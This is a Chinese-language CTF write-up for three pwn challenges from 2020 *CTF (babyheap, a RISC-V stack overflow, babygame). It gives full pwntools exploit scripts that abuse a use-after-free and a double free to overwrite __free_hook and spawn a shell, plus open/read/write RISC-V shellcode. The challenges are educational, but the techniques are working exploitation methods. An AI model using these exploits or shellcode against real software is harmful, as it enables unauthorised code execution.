2020 *ctf 部分pwn writeup

 

感谢xmzyshypnc 师傅和xxrw师傅手把手教学。

babyheap

漏洞是一个UAF漏洞,程序实现了6个程序,add,delete,edit,show,leave_name,show_name,其中add函数限制了申请堆块的大小,delete函数中存在UAF漏洞,leave_name函数中申请了一个0x400大小的堆块。

因此这里首先申请40x20,fastbin,接着leave_name函数申请一个较大的堆块,使得fastbin堆块合并成0x80大小的small bin,这样就能泄漏出libc基址,由于edit的起始位置是+8开始的,因此再次申请的堆块大小需要覆盖三个fastbin,因此申请一个0x60大小的堆块。这样就可以满足覆写fd指针为free_hook-8/bin/sh字符串两个要求。

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0xdd9)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('52.152.231.198', 8081)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0


def add(index, size):
    p.sendlineafter(">> \n", "1")
    p.sendlineafter("input index\n", str(index))
    p.sendlineafter("input size\n", str(size))


def delete(index):
    p.sendlineafter(">> \n", "2")
    p.sendlineafter("input index\n", str(index))


def edit(index, content):
    p.sendlineafter(">> \n", "3")
    p.sendlineafter("input index\n", str(index))
    p.sendafter("input content\n", content)


def show(index):
    p.sendlineafter(">> \n", "4")
    p.sendlineafter("input index\n", str(index))


def leave_name(name):
    p.sendlineafter(">> \n", "5")
    p.sendafter("your name:\n", name)


def show_name():
    p.sendlineafter(">> \n", "6")


for i in range(11):
    add(i, 0x18)
for i in range(7):
    delete(i + 4)

delete(0)
delete(1)
delete(2)
delete(3)
leave_name("1212")
show(0)

libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 0xd0 - 0x10 - libc.sym['__malloc_hook']

for i in range(7):
    add(i + 4, 0x18)

# gdb.attach(p, "b *$rebase(0xdd9)")

log.success("libc address is {}".format(hex(libc.address)))

add(11, 0x60)
delete(1)
payload = b"a"*0x10 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x8)
payload += b"b"*0x10 + p64(0x21) + b"/bin/sh\x00"
edit(11, payload)
add(12, 0x50)
add(13, 0x50)
edit(13, p64(libc.sym['system']))
delete(2)

p.interactive()

 

Favourite Architecure flag1

riscv栈溢出的漏洞,但是ghidra反编译失败,不知道咋回事。漏洞存在于输入flag的地方。

00010436 b7 e7 04 00     lui        a5=>DAT_0004e000,0x4e               = FFh
0001043a 13 85 07 89     addi       a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: "
0001043e ef 50 d0 41     jal        ra,FUN_0001605a    //output()
00010442 93 07 84 ed     addi       a5,s0,-0x128   //<< input_falg str 
00010446 3e 85           c.mv       a0,a5
00010448 ef 60 20 61     jal        ra,read             //read()
0001044c 93 07 84 ed     addi       a5,s0,-0x128
00010450 3e 85           c.mv       a0,a5
00010452 ef 00 21 09     jal        ra,strlen           //strlen()
00010456 aa 86           c.mv       a3,a0
00010458 03 a7 01 86     lw         a4,-0x7a0(gp)
0001045c 83 a7 41 86     lw         a5,-0x79c(gp)
00010460 b9 9f           c.addw     a5,a4
00010462 81 27           c.addiw    a5,0x0
00010464 82 17           c.slli     a5,0x20
00010466 81 93           c.srli     a5,0x20
00010468 63 94 f6 10     bne        a3,a5,LAB_00010570  //不等于0x59就跳转
//...
LAB_00010570                                    XREF[1]:     00010468(j)  
00010570 01 00           c.nop
00010572 21 a0           c.j        LAB_0001057a
//...
LAB_0001057a                                    XREF[2]:     00010572(j), 00010576(j)  
0001057a b7 e7 04 00     lui        a5=>DAT_0004e000,0x4e                            = FFh
0001057e 13 85 87 8f     addi       a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70= "You are wrong ._."
00010582 ef 60 60 64     jal        ra,FUN_00016bc8              //output()
00010586 85 47           c.li       a5,0x1
LAB_00010588                                    XREF[1]:     0001056e(j)  
00010588 3e 85           c.mv       a0,a5
0001058a fe 70           c.ldsp     ra,0x1f8(sp)
0001058c 5e 74           c.ldsp     s0,0x1f0(sp)
0001058e 13 01 01 20     addi       sp,sp,0x200
00010592 82 80           ret

从第一层的逻辑看来,首先是read了一个很长的字符串(注意到这里的函数不一定是read,功能类似)。但是分配的长度才是0x128字节大小,因此这里可以溢出。并且如果我们输入的长度不为0x59那么直接会跳转到错误输出的位置之后结束进程,在结束进程的时候读取了sp+0x1f8的位置的值作为返回地址,因此我们可以直接溢出到返回地址。那么接下来就是如何利用的问题。

注意到题目给出的patch文件

diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 27adee9..2d75464 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1,
         print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6);
     }

-    ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
-                      arg5, arg6, arg7, arg8);
+    switch (num) {
+        // syscall whitelist
+        case TARGET_NR_brk:
+        case TARGET_NR_uname:
+        case TARGET_NR_readlinkat:
+        case TARGET_NR_faccessat:
+        case TARGET_NR_openat2:
+        case TARGET_NR_openat:
+        case TARGET_NR_read:
+        case TARGET_NR_readv:
+        case TARGET_NR_write:
+        case TARGET_NR_writev:
+        case TARGET_NR_mmap:
+        case TARGET_NR_munmap:
+        case TARGET_NR_exit:
+        case TARGET_NR_exit_group:
+        case TARGET_NR_mprotect:
+            ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
+                    arg5, arg6, arg7, arg8);
+            break;
+        default:
+            printf("[!] %d bad system call\n", num);
+            ret = -1;
+            break;
+    }

     if (unlikely(qemu_loglevel_mask(LOG_STRACE))) {
         print_syscall_ret(cpu_env, num, ret, arg1, arg2,

我们看到其只允许调用特定的系统调用,也就是我们只能编写orw shellcode,而程序没有开启pie,也就是栈地址固定不变(需要注意的是本地栈地址和远程不一样,因此需要添加滑板指令)。

shellcode的编写参考网上的shellcode

.section .text
.globl _start
.option rvc
_start:
    #open
    li a1,0x67616c66 #flag
    sd a1,4(sp)
    addi a1,sp,4
    li a0,-100
    li a2,0
    li a7, 56 # __NR_openat
    ecall
    # read
    c.mv a2,a7
    addi a7,a7,7
    ecall
    # write
    li a0, 1
    addi a7,a7,1
    ecall
10078:    676175b7              lui    a1,0x67617
1007c:    c665859b              addiw    a1,a1,-922
10080:    00b13223              sd    a1,4(sp)
10084:    004c                  addi    a1,sp,4
10086:    f9c00513              li    a0,-100
1008a:    4601                  li    a2,0
1008c:    03800893              li    a7,56
10090:    00000073              ecall
10094:    8646                  mv    a2,a7
10096:    089d                  addi    a7,a7,7
10098:    00000073              ecall
1009c:    4505                  li    a0,1
1009e:    0885                  addi    a7,a7,1
100a0:    00000073              ecall

最终的exp

# encoding=utf-8
from pwn import *

file_path = "./main"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process(["./qemu-riscv64", "-g", "1234", file_path])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('119.28.89.167', 60001)


stack = 0x4000800c70
nop = p32(0x00000013)


p.recvuntil("Input the flag: ")
payload = b"a"*0x118
payload += p64(stack)*2

shellcode = nop * 0xd0
shellcode += p32(0x676175b7) + p32(0xc665859b) + p32(0x00b13223)
shellcode += p16(0x004c) + p32(0xf9c00513) + p16(0x4601)
shellcode += p32(0x03800893) + p32(0x00000073) + p16(0x8646)
shellcode += p16(0x089d) + p32(0x00000073) + p16(0x4505) + p16(0x0885) + p32(0x00000073)

payload += shellcode

p.sendline(payload)

p.interactive()

 

babygame

程序实现了一个类似于迷宫的操作,提供了如下的几种功能

h
     Sokoban
How to Play:
    Push all boxs into target place
Map:
    1)█:wall
    2)○:Target
    3)□:Box
    4)♀:Player
    5)●:Box on target
Command:
    1)h: show this message
    2)q: quit the game
    3)w: move up
    4)s: move down
    5)a: move left
    6)d: move right
    7)b: move back
    8)m: leave message
    k)n: show name
    10)l: show message

目前逆向出的game结构体如下,其中map另有结构体存储。

00000000 game            struc ; (sizeof=0x50, mappedto_7)
00000000 map_vector_start dq ?
00000008 current_vector  dq ?
00000010 vector_end      dq ?
00000018 start_time      dq ?
00000020 end_time        dq ?
00000028 cost_time       dq ?
00000030 level           dd ?
00000034 unknown         dd ?
00000038 step_forward    db ?
00000039 is_quit         db ?
0000003A                 db ? ; undefined
0000003B                 db ? ; undefined
0000003C                 db ? ; undefined
0000003D                 db ? ; undefined
0000003E                 db ? ; undefined
0000003F                 db ? ; undefined
00000040 map             dq ?
00000048 message         dq ?
00000050 game            ends

程序的主要逻辑如下

__int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>)
{
  __int64 v4; // rdi
  char v6; // [rsp+Eh] [rbp-2h]

  v6 = 1;
  while ( v6 )
  {
    game_func(a4);
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "restart?");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    if ( (unsigned __int8)get_input_filter(v4, &std::endl<char,std::char_traits<char>>) != 121 )
      v6 = 0;
  }
  return 0LL;
}

unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>)
{
  unsigned __int64 result; // rax
  char v2; // [rsp+0h] [rbp-90h]
  unsigned __int64 v3; // [rsp+78h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  init_game((game *)&v2, 0);
  game_start((game *)&v2, 0LL, a1);
  result = leave_name((__int64)&v2);
  __readfsqword(0x28u);
  return result;
}

void __usercall game_start(game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>)
{
  char num; // ST1F_1
  game *a1a; // [rsp+8h] [rbp-18h]

  a1a = a1;
  sub_FE91();
  a1->step_forward = 1;
  a1->level = -1;
  while ( !a1a->is_quit )
  {
    while ( a1a->level == -1 && !a1a->is_quit )
    {
      num = get_input((__int64)a1, (void *)a2);
      a2 = (unsigned int)num;
      a1 = a1a;
      detec_error_quit(a1a, num);
    }
    if ( a1a->is_quit )
      break;
    get_map(a1a);
    handle_step(a1a, a3);
    a1 = a1a;
    put_map_vector(a1a);
  }
  sub_FE98();
}

unsigned __int64 __fastcall leave_name(game *a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  game *v4; // [rsp+8h] [rbp-48h]
  __int64 name; // [rsp+20h] [rbp-30h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v4 = a1;
  v6 = __readfsqword(0x28u);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "leave your name?");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  if ( (unsigned __int8)get_input_filter(v1, &std::endl<char,std::char_traits<char>>) == 'y' )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "your name:");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name);
    std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name);
    put_name_to_vector((game *)&::a1, (__int64)&name);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name, &name);
  }
  clear_map_vector(v4);
  operator delete((void *)v4->message);
  sub_C026(v4);
  return __readfsqword(0x28u) ^ v6;
}

程序存在两个漏洞,一个是算是message脏数据。首先在init_game函数中为game->message分配空间的时候并没有清空内存中的数据,而message的堆块大小为0x510,也就是说释放之后重新申请即可以泄漏得到libc基址。程序恰好存在restart的情况,因此我们可以据此泄漏得到libc基址。

send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

另一个就是map+0xe0处保存指针的double free漏洞。该处的漏洞是在调试中发现的,在update level之后会退出会出现一个double free的漏洞,堆块的大小是0x60。那么接下来就是double free如何利用的问题了。我们能够进行任意堆块分配的就是message了。但是程序中采用的是cin进行读取的,不能覆盖到0x60的堆块。但是我们看到在读取得到message之后会将其put vector。在该函数中会按照我们输入的message的长度进行堆块申请

if ( current_vector_c )
  current_vector_c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
    current_vector_c,
    name_c);

这里就达到了我们任意申请堆块的目的。下面就是正常的double free的操作了。这里注意的是put_name_vector函数调用结束之后就是name的析构函数。

put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(
(__int64)&name,
(__int64)&name);

在我们覆写完毕free_hook之后此处是第一次调用的位置(需要注意name vector的扩展情况),因此我们将name的起始八个字节改为/bin/sh,覆写的fd指针自然变为free_hook-0x8

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0xB56b)\nb *$rebase(0xB166)\nb *$rebase(0xa70d)\nb *$rebase(0xb06f)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('52.152.231.198', 8082)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0


def send_order(order):
    p.sendlineafter("Please input an order:\n", order)


def send_level(level):
    p.sendlineafter("Please input an level from 1-9:\n", level)


def leave_name(name):
    p.sendlineafter("your name:", name)


send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

send_level("1")
send_order("2")
send_order("q")
send_order("n")
leave_name(b"a"*0x70) # name vector 1, ex
send_order("y")

send_level("1")
send_order("q")
send_order("y")
leave_name(p64(libc.sym['__free_hook']- 0x8).ljust(0x50, b"\x00")) # name vector 2, ex
send_order("y")

send_level("1")
send_order("q")
send_order("y")
leave_name(b"a"*0x50) # name vector 3, ex
send_order("y")

send_level("1")
send_order("q")
send_order("y")
leave_name((b"/bin/sh\x00" + p64(libc.sym['system'])).ljust(0x50, b"\x00"))

p.interactive()
(完)